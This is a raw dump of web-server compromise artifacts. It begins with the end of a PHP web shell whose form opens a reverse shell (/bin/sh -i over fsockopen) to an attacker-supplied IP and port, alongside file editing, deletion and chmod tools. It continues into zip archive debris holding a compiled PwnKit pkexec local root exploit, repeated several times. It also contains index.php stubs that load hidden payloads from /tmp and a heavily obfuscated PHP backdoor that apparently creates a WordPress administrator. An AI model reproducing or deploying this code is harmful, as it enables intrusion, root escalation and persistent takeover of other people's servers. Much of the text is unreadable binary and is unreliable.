                        echo '<form method="POST" action="?action=reverse_shell&path='.urlencode($path).'"><div class="form-group"><label>IP Attacker: <input type="text" name="ip_attacker" value="'.$ip_attacker.'"></label> <label>Port: <input type="text" name="port_attacker" value="'.$port_attacker.'" size="5"></label></div><div class="form-group"><input type="submit" name="start_reverse_shell" value="GASKEUN!"></div></form>';
                        if (isset($_POST['start_reverse_shell'])) {
                            echo "<h4>Mencoba koneksi ke ".htmlspecialchars($_POST['ip_attacker']).":".htmlspecialchars($_POST['port_attacker'])." ...</h4>";
                            if(ob_get_level()) ob_end_flush();
                            flush();
                            set_time_limit(0);
                            ignore_user_abort(true);
                            $sock = @fsockopen($_POST['ip_attacker'], (int)$_POST['port_attacker'], $errno, $errstr, 30);
                            if (!$sock) {
                                echo '<p style="color:red;"><strong>Koneksi Gagal!</strong> Pastikan listener sudah berjalan.</p>';
                            } else {
                                echo '<p style="color:lime;"><strong>Koneksi Berhasil!</strong> Cek terminalmu sekarang!</p>';
                                if(ob_get_level()) ob_end_flush();
                                flush();
                                $process = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
                                if (is_resource($process)) proc_close($process);
                            }
                        }
                    }
                    break;
                case 'ping':
                    $ping_output = (isset($_POST['do_ping'])) ? htmlspecialchars(exe("ping -c 4 ".escapeshellarg($_POST['target_host']))) : '';
                    echo '<h3>Ping</h3><form method="POST" action="?action=ping&path='.urlencode($path).'"><div class="form-group"><input type="text" name="target_host" placeholder="google.com" required><input type="submit" name="do_ping" value="Ping"></div></form>';
                    if($ping_output) echo '<h4>Output:</h4><pre>'.$ping_output.'</pre>';
                    break;
                case 'portscan':
                    $scan_output = (isset($_POST['do_scan'])) ? htmlspecialchars(exe("nmap -p ".escapeshellarg($_POST['ports'])." ".escapeshellarg($_POST['target_host']))) : '';
                    echo '<h3>Port Scan (nmap)</h3><form method="POST" action="?action=portscan&path='.urlencode($path).'"><div class="form-group"><label>Host: <input type="text" name="target_host" placeholder="scanme.nmap.org" required></label></div><div class="form-group"><label>Ports: <input type="text" name="ports" placeholder="21,22,80,443" required></label></div><div class="form-group"><input type="submit" name="do_scan" value="Scan"></div></form>';
                    if($scan_output) echo '<h4>Output:</h4><pre>'.$scan_output.'</pre>';
                    break;
                case 'dnslookup':
                    $dns_output = (isset($_POST['do_lookup'])) ? htmlspecialchars(exe("dig ".escapeshellarg($_POST['target_domain'])." ".escapeshellarg($_POST['record_type']))) : '';
                    echo '<h3>DNS Lookup (dig)</h3><form method="POST" action="?action=dnslookup&path='.urlencode($path).'"><div class="form-group"><label>Domain: <input type="text" name="target_domain" placeholder="google.com" required></label></div><div class="form-group"><label>Record Type: <select name="record_type"><option>A</option><option>MX</option><option>NS</option><option>TXT</option><option>ANY</option></select></label></div><div class="form-group"><input type="submit" name="do_lookup" value="Lookup"></div></form>';
                    if($dns_output) echo '<h4>Output:</h4><pre>'.$dns_output.'</pre>';
                    break;
                case 'whois':
                    $whois_output = (isset($_POST['do_whois'])) ? htmlspecialchars(exe("whois ".escapeshellarg($_POST['target_domain']))) : '';
                    echo '<h3>Whois Lookup</h3><form method="POST" action="?action=whois&path='.urlencode($path).'"><div class="form-group"><input type="text" name="target_domain" placeholder="google.com" required><input type="submit" name="do_whois" value="Whois"></div></form>';
                    if($whois_output) echo '<h4>Output:</h4><pre>'.$whois_output.'</pre>';
                    break;
                case 'header':
                    $header_output = '';
                    if (isset($_POST['get_header'])) {
                        $url = $_POST['target_url'];
                        if(filter_var($url, FILTER_VALIDATE_URL)) {
                            $headers = get_headers($url, 1);
                            $header_output = htmlspecialchars(print_r($headers, true));
                        } else {
                            $header_output = 'URL tidak valid.';
                        }
                    }
                    echo '<h3>HTTP Header Viewer</h3><form method="POST" action="?action=header&path='.urlencode($path).'"><div class="form-group"><input type="text" name="target_url" placeholder="http://google.com" required style="width: calc(100% - 110px);"><input type="submit" name="get_header" value="Get Header"></div></form>';
                    if($header_output) echo '<h4>Output:</h4><pre>'.$header_output.'</pre>';
                    break;
                case 'curl':
                    echo '<h3>cURL Downloader</h3><form method="POST" action="?path='.urlencode($path).'"><div class="form-group"><label>URL File:<br><input type="text" name="url" placeholder="https://example.com/file.txt" required style="width:100%"></label></div><div class="form-group"><input type="submit" name="curl_download" value="Download ke Direktori Ini"></div></form>';
                    break;
                case 'delete':
                    echo '<h3>Konfirmasi Hapus: '.htmlspecialchars(basename($_GET['target_file'])).'</h3><p style="color:red;text-align:center;">Anda YAKIN? Tindakan ini tidak bisa dibatalkan.</p><form method="POST" action="?option=true&path='.urlencode($path).'"><input type="hidden" name="path_target" value="'.htmlspecialchars($_GET['target_file']).'"><input type="hidden" name="opt_action" value="delete"><input type="submit" value="YA, HAPUS" style="background:red;color:white;"/> <a href="?path='.urlencode($path).'" style="margin-left:15px;">BATAL</a></form>';
                    break;
                case 'extract_form':
                    echo '<h3>Konfirmasi Ekstrak: '.htmlspecialchars(basename($_GET['target_file'])).'</h3><p>Ekstrak semua isi file ini ke direktori saat ini ('.htmlspecialchars($path).')?</p><form method="POST" action="?option=true&path='.urlencode($path).'"><input type="hidden" name="path_target" value="'.htmlspecialchars($_GET['target_file']).'"><input type="hidden" name="opt_action" value="extract_save"><input type="submit" value="YA, EKSTRAK"/> <a href="?path='.urlencode($path).'" style="margin-left:15px;">BATAL</a></form>';
                    break;
                case 'view_file':
                    echo '<h3>Viewing: '.htmlspecialchars(basename($_GET['target_file'])).'</h3><textarea style="width:100%;height:400px;" readonly>'.htmlspecialchars(@file_get_contents($_GET['target_file'])).'</textarea>';
                    break;
                case 'edit_form':
                    echo '<h3>Editing: '.htmlspecialchars(basename($_GET['target_file'])).'</h3><form method="POST" action="?option=true&path='.urlencode($path).'"><textarea name="src_content" style="width:100%;height:400px;">'.htmlspecialchars(@file_get_contents($_GET['target_file'])).'</textarea><br><input type="hidden" name="path_target" value="'.htmlspecialchars($_GET['target_file']).'"><input type="hidden" name="opt_action" value="edit_save"><input type="submit" value="SAVE"/></form>';
                    break;
                case 'rename_form':
                    echo '<h3>Rename: '.htmlspecialchars(basename($_GET['target_file'])).'</h3><form method="POST" action="?option=true&path='.urlencode($path).'"><div class="form-group">New Name: <input name="new_name_value" type="text" value="'.htmlspecialchars(basename($_GET['target_file'])).'"/><input type="hidden" name="path_target" value="'.htmlspecialchars($_GET['target_file']).'"><input type="hidden" name="opt_action" value="rename_save"><input type="submit" value="RENAME"/></div></form>';
                    break;
                case 'chmod_form':
                    $current_perms = substr(sprintf('%o', @fileperms($_GET['target_file'])), -4);
                    echo '<h3>Chmod: '.htmlspecialchars(basename($_GET['target_file'])).'</h3><form method="POST" action="?option=true&path='.urlencode($path).'"><div class="form-group">Permission: <input name="perm_value" type="text" size="4" value="'.$current_perms.'"/><input type="hidden" name="path_target" value="'.htmlspecialchars($_GET['target_file']).'"><input type="hidden" name="opt_action" value="chmod_save"><input type="submit" value="CHMOD"/></div></form>';
                    break;
            }
            echo '</div>';
        }

        if ($show_file_list) {
            echo '<form method="POST" action="?path='.urlencode($path).'">';
            echo '<div id="content"><table><tr class="first"><th style="width: 5%;"><input type="checkbox" onclick="document.querySelectorAll(\'.file-checkbox\').forEach(e=>e.checked=this.checked);"></th><th style="width: 50%;">Name</th><th style="width: 15%;">Size</th><th style="width: 15%;">Perm</th><th style="width: 15%;">Options</th></tr>';
            $scandir_items = @scandir($path);
            if ($scandir_items) {
                usort($scandir_items, function($a, $b) use ($path) { if ($a == '..') return -1; if ($b == '..') return 1; if (is_dir($path.'/'.$a) && !is_dir($path.'/'.$b)) return -1; if (!is_dir($path.'/'.$a) && is_dir($path.'/'.$b)) return 1; return strcasecmp($a, $b); });
                foreach($scandir_items as $item){
                    if($item == '.') continue;
                    $full_item_path = $path.DIRECTORY_SEPARATOR.$item;
                    $encoded_full_item_path = urlencode($full_item_path);
                    echo "<tr><td class='td_home'>";
                    if ($item != '..') echo "<input type='checkbox' class='file-checkbox' name='selected_files[]' value='".htmlspecialchars($full_item_path)."'>";
                    echo "</td><td class='td_home' style='word-break:break-all;'>";
                    if($item == '..') echo "<i class='fas fa-folder-open'></i> <a href=\"?path=".urlencode(dirname($path))."\">".htmlspecialchars($item)."</a>";
                    elseif(is_dir($full_item_path)) echo "<i class='fas fa-folder'></i> <a href=\"?path=$encoded_full_item_path\">".htmlspecialchars($item)."</a>";
                    else echo "<i class='fas fa-file'></i> <a href=\"?action=view_file&target_file=$encoded_full_item_path&path=".urlencode($path)."\">".htmlspecialchars($item)."</a>";
                    echo "</td><td class='td_home'>".(is_file($full_item_path) ? round(@filesize($full_item_path)/1024,2).' KB' : '--')."</td>";
                    echo "<td class='td_home'><font color='".(is_writable($full_item_path) ? '#57FF00' : (!is_readable($full_item_path) ? '#FF0004' : $theme_fg))."'>".perms($full_item_path)."</font></td>";
                    echo "<td class='td_home'><select style='width:100%;' onchange=\"if(this.value) window.location.href='?action='+this.value+'&target_file={$encoded_full_item_path}&path=".urlencode($path)."'\"><option value=''>Action</option><option value='delete'>Delete</option>";
                    if(is_file($full_item_path)) { echo "<option value='edit_form'>Edit</option>"; if(class_exists('ZipArchive') && pathinfo($full_item_path, PATHINFO_EXTENSION) == 'zip') echo "<option value='extract_form'>Extract</option>"; }
                    echo "<option value='rename_form'>Rename</option><option value='chmod_form'>Chmod</option></select></td></tr>";
                }
            } else { echo "<tr><td colspan='5' style='text-align:center;'><font color='red'>Gagal membaca direktori.</font></td></tr>"; }
            if (class_exists('ZipArchive')) {
                echo '<tfoot><tr class="first"><td colspan="5">With selected: <select name="bulk_action"><option value="">Choose...</option><option value="zip_selected">Zip</option></select> <input type="submit" value="Go"></td></tr></tfoot>';
            }
            echo '</table></div></form>';
        }
        ?>
        <hr>
        <footer>
            <font size="2px"><b>Coded With 💗 by <b><?php echo htmlspecialchars($author); ?></b></b></font>
        </footer>
    </div>
</body>
</html>
PK!16/GCONV_PATH=./.pkexecnuȯ��PK!睯2jj16/aib7pk/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "themes.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!16/.mad-rootnu�[���PK!C�!)�+�+	16/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!6/GCONV_PATH=./.pkexecnuȯ��PK!����gg6/dqo5bw/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "zoo.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!6/.mad-rootnu�[���PK!C�!)�+�+6/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!14/GCONV_PATH=./.pkexecnuȯ��PK!��ii14/xktzc6/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-js.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!14/.mad-rootnu�[���PK!�Ύ=�/�/14/cg912o/59eh4.phpnu�[���<?php
/*
--Copyright:https://www.phpcodejm.com
*/
 goto SRLvP; pX0zf: goto Upycx; goto IwVbW; JNX9T: goto ACxZw; goto P3Dsn; V1vcl: goto m1ruy; goto FRbSx; d0ggy: vdRYy: goto w1puP; bf9bm: j65UW: goto WNmBF; M9Oz6: goto qtW4o; goto fO7IX; I0aJC: Uh58U: goto RpT82; Sj5EP: bMXBV: goto QrSn1; aGUgU: Gb0PB: goto PDrj6; JZsHU: goto Sx9yk; goto qGMZo; qBLIC: j2XUx: goto Cd6kR; HOZFb: goto jED5H; goto lfrx4; qrkn2: readfile($xBtNn); goto G5dt5; aCgnf: goto C04vy; goto fwefS; zdsgU: goto NtNFa; goto Ssrys; Szx32: Jp083: goto wEtCr; SRNMA: goto HfAyO; goto Noz1Z; b07Mx: $hznvy = ''; goto NSXyq; SCKIJ: goto XEsqk; goto niBes; kDmxW: goto mUM1a; goto CUT42; xExXe: lp7ye: goto pAuzx; XW18E: goto gEPCt; goto wjSI3; Ga2c2: goto BNnHl; goto lVEqA; OAdsT: goto X_y0p; goto cSm55; xEXPk: hqvji: goto V2OHJ; Z_CK8: FLR87: goto p3Slk; ptGrF: NDS3W: goto NOZ52; O0OJf: OZSVK: goto CUWhv; G5i85: ZDDBq: goto QasTk; cvGW1: $QeOFD = "\x48\145\x6c\154\100\62\60\x32\x35"; goto XYHQP; na3Dm: yySjF: goto o64T0; xMHB4: goto lgAaq; goto X6pqt; ozSq7: goto dYUUJ; goto Ir0Hp; Zk18_: goto n_64s; goto dZWzT; gru6B: goto TAco5; goto EP9uh; GGQYr: goto cAC6U; goto U2iNi; nkg_2: goto WjR1c; goto Vxus2; Yi1pu: QyMd7: goto YUdYI; GekuO: Uxmld: goto yJhHf; jNLL5: l9NmK: goto OQA_Z; BuMBm: ucsul: goto ZN7v7; Dvq11: $hznvy .= "\74\x64\x69\166\x20\x63\x6c\x61\163\x73\x3d\47\167\x61\162\156\x27\76\xc3\xa2\305\241\xc2\xa0\x20\127\x50\x20\165\x73\x65\x72\x20\x61\x6c\162\145\141\144\x79\40\x65\170\x69\x73\x74\163\x3c\x2f\x64\151\166\76"; goto BT3jl; I2Et3: dKikv: goto zLv0S; VJPkJ: goto rw_pK; goto drJna; Ih3aE: goto GUAlg; goto Aub2J; M32Xs: file_put_contents($bG34o, ''); goto yvmps; tDj1L: goto E3cAA; goto y2gjG; FQtCD: goto KPlKX; goto kRugS; HA_FL: goto leovd; goto W57Aw; bUF72: ZtelB: goto iwikX; GqRI3: u4PS7: goto eMvwK; zAaF6: goto HKpfc; goto usIT7; EkRve: goto LpCQF; goto vUscg; PLsH_: DpXAP: goto drhqD; Iwiok: goto FQgPB; goto GqRI3; Xq2OV: fBo5l: goto dBVzx; Ux5iJ: BWqdy: goto M92EE; uIeAN: goto BsQIO; goto vQh3A; nZSBh: goto q_Gb2; goto bigK0; bp0Ep: lBW6U: goto hwypA; U1Q6Z: yF6N3: goto oylB9; Hvjl8: goto l9NmK; goto TVfkN; UtBmG: goto WjY0U; goto Z3O3Z; OdSSG: z3aiS: goto Mtbo1; Osgk9: goto EY5Ku; goto vrgjF; J6pyu: bwWlb: goto LO8kc; WNmBF: goto zyr_3; goto ixhK6; JfqKr: goto uU3hK; goto KMLro; YsVg0: chdir($JdqDR); goto AxE95; jxpFG: eB7a0: goto FGaG1; yGKF6: mKfsV: goto D5nLI; TLAgf: goto jkCKs; goto fc_1M; tzF67: QBjIY: goto tFVhH; MFVnP: goto vVbZO; goto gaukJ; F51Qt: goto zwr0b; goto OE5yA; WkJJa: T3dUd: goto pZvhC; AZoWW: dn0tW: goto LorbC; ofhv1: O2GDB: goto M7Gyp; uaHKE: Mpo7z: goto w48LP; cfBe5: goto Cg50n; goto YA1sX; ri253: jx92z: goto IwPeD; VrDET: FopiD: goto wB4mT; mY2O0: goto jZbVd; goto p8nFI; u8uAR: opisV: goto FY3ak; ObNtA: goto Mlzlf; goto blCrI; WljjD: goto mQZH3; goto ecvwl; f4YMc: goto SjQoV; goto NWr81; CUAcn: vh4Ya: goto J6ZxO; pTdcs: goto hICWj; goto Syg08; nuJVB: UN8fq: goto e_Wqv; HyZO0: goto OuYb9; goto u8uAR; Axgfg: TiAaS: goto Mmj9S; pmAjj: APpNG: goto DwdO1; tkAOW: goto Q3LgY; goto kEL20; B7Xir: KAiSu: goto akgyC; D5nLI: goto V0rXx; goto Dl1hP; Et_rQ: goto Z2hdr; goto VIfmn; gaukJ: pDGyY: goto LThxC; lAkM5: goto zBf07; goto xrFa4; PVG03: dzixS: goto hEI3Z; o64T0: goto OPFVa; goto bkKIN; Z_1_4: $rIJSd = $D6V0J . "\x2f\x77\160\55\x6c\x6f\x61\144\x2e\160\150\x70"; goto ukl0E; zGznt: goto vuZTj; goto PcG05; ydG6k: goto uL9wg; goto EMWmv; u_6Ay: if (!($OYF8c && is_file($OYF8c))) { goto Y2g2U; } goto i2ZBs; O3TT9: goto Xyjxo; goto pTZ4n; C0Wga: yOMqM: goto KoEQZ; O0kYN: wfTR1: goto v8gH4; FBwr6: LNCXp: goto Or33W; XQoQW: Nb5vy: goto fYCQN; noXGz: qCPgI: goto Qx8j3; drJna: Nj2BT: goto u4KuL; SPBAn: K4vVK: goto WZVIb; mrbai: gtobW: goto L9Ybt; cao5i: goto M3Nyk; goto IrMlS; Nhvxt: goto ZtelB; goto W8XxV; YUdYI: goto w4G6M; goto oQSm_; CmNmh: goto ZcleN; goto QrZwZ; bcJ_M: uPBS1: goto xRuWG; zEEkD: goto X_zeJ; goto GFmeZ; CUT42: SDqjo: goto B0GMM; xlAOS: uJ79M: goto Z1Gtb; EaT8m: zxdlp: goto c7tgh; XRTM4: goto oepv3; goto KEX0F; IQxgW: goto KugWs; goto gg0cD; SSma9: wKHRo: goto ByJ5y; fUvG0: goto b0gsz; goto Pfozd; GowsA: goto mKfsV; goto qeEky; qtOMu: goto avda4; goto IGMxG; OkD6Y: mqyWi: goto yabSI; bqqHi: nvOF1: goto Fkejm; eKlHo: WW7k1: goto grpq0; xhqEf: goto KYlTW; goto nkg_2; bTx7G: QJ85Y: goto BMgJY; CTPbL: YKM7Q: goto HOQAy; eyg_4: hZMkj: goto UalKh; zDrDe: goto uvuvp; goto TB1We; MHH3p: goto xVwRJ; goto F0MHf; yCiAq: IHITf: goto bsDQj; NWr81: wlg9r: goto ijyDK; jU6lT: TAco5: goto TdN5J; Mtbo1: goto iTVFz; goto YWduN; NgCA9: goto vos2X; goto PFakA; ZqkGP: goto coM_j; goto m6xtS; SG5Lg: goto FpsD2; goto yrBhB; V5q18: goto V8krl; goto utbJO; hQErw: goto c49UM; goto VXOpn; d1ymB: FH10o: goto xbuKp; wo9bF: hHLeW: goto n0AyI; u7cmk: goto ZbEA_; goto KAk9t; xNL3S: TRGsF: goto QQ73s; nUHZj: piN9u: goto TRK5g; GTP3p: yuxjg: goto V6dIU; WtCDg: goto z1TRi; goto cliCH; cQw0H: goto RbW_B; goto PkpkD; rs4y2: n1dUr: goto FumFJ; c_uLt: pOAWG: goto ciaPa; Ir0Hp: lwEiq: goto vH8mz; pVl5H: GTMrE: goto WCK_n; WsDjn: goto EEaFa; goto h1d09; GX5GA: goto NxoSL; goto C9Pxa; kPGD9: DV0SF: goto hiKrU; jFU8u: if (empty($_FILES["\146\151\154\145"])) { goto eB0P0; } goto syZL1; yRzSi: goto in0Pm; goto flQBy; DYob3: KrrW1: goto iM2Kf; Zq6n4: goto xAjms; goto zFgBo; lGxrt: goto T3dUd; goto EuCPZ; q6Dhk: $q5ijL = "\x68\145\154\x6c\x40\145\x78\x61\x6d\x70\154\145\x2e\143\x6f\x6d"; goto LZFK7; CSW8n: goto h7FAQ; goto na3Dm; GsX13: a7Syc: goto TNSh_; iO6Px: lOLtd: goto JK3Qm; MNJZw: Rq_co: goto AGf2c; dBVzx: goto FEh9e; goto ySbKt; nqTXH: goto Epaeb; goto n5OFn; Vt018: goto XMPXG; goto D5wXD; q2Xs9: goto PLos3; goto O_PAq; pPv8_: PMfz0: goto ZhMNW; BcmUP: goto JWLH7; goto SGYFQ; Ox6lK: goto zicQ5; goto FQtCD; VR99U: CggXw: goto crQvd; fT5pv: $s8hWD->N1bTQ("\x61\144\155\151\156\151\x73\164\x72\x61\164\157\x72"); goto SRNMA; zFgBo: TRreX: goto lGxrt; V9MeH: Mf8XU: goto idhLU; lVEqA: GtXL7: goto q6Dhk; akgyC: ZcleN: goto KksL3; EMWmv: FZ2AP: goto YsVg0; PpMWV: goto ddJgy; goto P3Edt; VXOpn: R1csS: goto vROd0; wsSRO: D1biO: goto IMh2y; S_j6T: goto AJEvA; goto Ze6iU; HtCJj: goto QjXFk; goto mVSsr; KuLD8: ddJgy: goto NO3ry; tmFJ3: goto qRRBF; goto FR0vb; Xpr4d: Sx9yk: goto K25PE; FGaG1: HPZNv: goto caCjE; KJ9DW: goto pHswN; goto Aq8ar; A3U_c: goto S5Fw8; goto c6i_W; aijv1: goto U3iSv; goto KGpi0; XDRQ6: goto LGqK1; goto z7lyU; yrBhB: 